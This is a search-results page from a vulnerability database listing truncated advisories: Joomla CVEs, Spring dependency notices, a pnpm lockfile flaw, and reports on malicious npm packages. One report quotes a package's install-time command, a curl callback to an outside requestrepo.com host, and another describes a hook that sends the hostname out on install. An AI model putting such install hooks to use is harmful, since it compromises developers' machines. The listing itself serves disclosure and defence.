7877 matches found
CVE-2026-48950 Joomla! Core - [20260704] - XSS in com_templates
Lack of escaping leads to an XSS vulnerability in the file management view of comtemplates...
CVE-2026-48956 Joomla! Core - [20260710] - Incorrect Access Control in com_modules
An improper access check allows users to display a list of modules in the frontend...
CVE-2026-48957 Joomla! Core - [20260711] - Incorrect Access Control in com_privacy webservice endpoints
An improper access check allows unauthorized users to access comprivacy datasets...
EUVD-2026-42064
An improper access check allows unauthorized users to access comprivacy datasets...
CVE-2026-48957
CVE-2026-48957 affects Joomla! Core; the issue is an improper access control in the com_privacy webservice endpoints, enabling unauthorized users to access com_privacy datasets. Multiple sources (NVD entry and CVE records from CIRCL, CVE List, and Joomla security centre) describe the root cause a...
Exploit for Reliance on Untrusted Inputs in a Security Decision in Microsoft
CVE-2026-21509 — Microsoft Office OLE Security-Feature Bypass...
GO-2026-5772 Algernon: handler.lua discovery walks parent directories above the server root in github.com/xyproto/algernon
Algernon: handler.lua discovery walks parent directories above the server root in github.com/xyproto/algernon...
PT-2026-52512
Name of the Vulnerable Software and Affected Versions pnpm versions prior to 10.33.4 pnpm versions prior to 11.0.7 Description A flaw exists where the package manager does not store the hash of dependencies sourced from codeload.github.com in the lockfile. Consequently, a compromised server or...
Malicious code in cccmyssr-util (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7 On npm install, the package's postinstall.js unconditionally executes exec'curl http://qvmjcw4s.requestrepo.com', sending an HTTP callback to a uniqu...
Important: Red Hat Security Advisory: Cost Management Metrics Operator Update
Cost Management Metrics Operator version 4.4.1 release. The Cost Management Metrics Operator is a component of the Red Hat Cost Managment service for Openshift. The operator runs on the latest supported versions of Openshift. This operator obtains OpenShift usage data by querying Prometheus every...
FERRUM Windows Auditor
Ferrum is a Windows security research toolkit for local privilege escalation, persistence, COM hijacking, and attack surface enumeration. It is a Windows-first vulnerability research and security auditing framework written in Go. It is designed as a single binary, ferrum.exe, with modules...
152 Chrome Wallpaper Extensions with 105K Installs Linked to Adware and Fake Traffic
Cybersecurity researchers have discovered a network of 152 Google Chrome extensions that act as new tab live wallpaper add-ons to distribute a potentially unwanted program PUP family. The cluster spans 38 separate Chrome Web Store publisher accounts and three brand backends: tabplugins.com,...
CVE-2026-5513
creationtimestamp| type| source ---|---|--- 2026-06-13 18:01:43+00:00| seen| https://bsky.app/profile/pulse-wp.com/post/3mo6tilwrx22o 2026-06-14 06:01:57+00:00| seen| https://infosec.exchange/users/offseq/statuses/116746932965862347 2026-06-14 06:02:36+00:00| seen|...
[20260711] - Core - Incorrect Access Control in com_privacy webservice endpoints
An improper access check allows unauthorized users to access comprivacy datasets...
com.epam.reportportal:commons-bugtracking (3.0.0), com.github.haosenwei:g4m-com (1.0-releases) +3 more potentially affected by CVE-2026-41719 via org.springframework.data:spring-data-keyvalue (1.1.8.release)
org.springframework.data:spring-data-keyvalue MAVEN version 1.1.8.release is affected by a known vulnerability. The following packages have a transitive dependency on org.springframework.data:spring-data-keyvalue and may be impacted: - com.epam.reportportal:commons-bugtracking 3.0.0 -...
Malicious code in menu-filter-widget-web (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bed4a7ece362ef59f2b621b3f64d06e899740c8ca8d73e437145d48b960187ce package.json declares a postinstall lifecycle hook that runs callback.js on every npm install. callback.js reads os.hostname and sends it to a...
ch.sbb.releasetrain:action (0.0.25), ch.sbb.releasetrain:config (0.0.25) +551 more potentially affected by CVE-2026-41852 via org.springframework:spring-expression (4.2.7.release)
org.springframework:spring-expression MAVEN version 4.2.7.release is affected by a known vulnerability. The following packages have a transitive dependency on org.springframework:spring-expression and may be impacted: - ch.sbb.releasetrain:action 0.0.25 - ch.sbb.releasetrain:config 0.0.25 -...
ch.sbb.releasetrain:jsfbootadapter (0.0.25), ch.sbb.releasetrain:webui (0.0.25) +343 more potentially affected by CVE-2026-41845 via org.springframework:spring-webmvc (4.2.7.release)
org.springframework:spring-webmvc MAVEN version 4.2.7.release is affected by a known vulnerability. The following packages have a transitive dependency on org.springframework:spring-webmvc and may be impacted: - ch.sbb.releasetrain:jsfbootadapter 0.0.25 - ch.sbb.releasetrain:webui 0.0.25 -...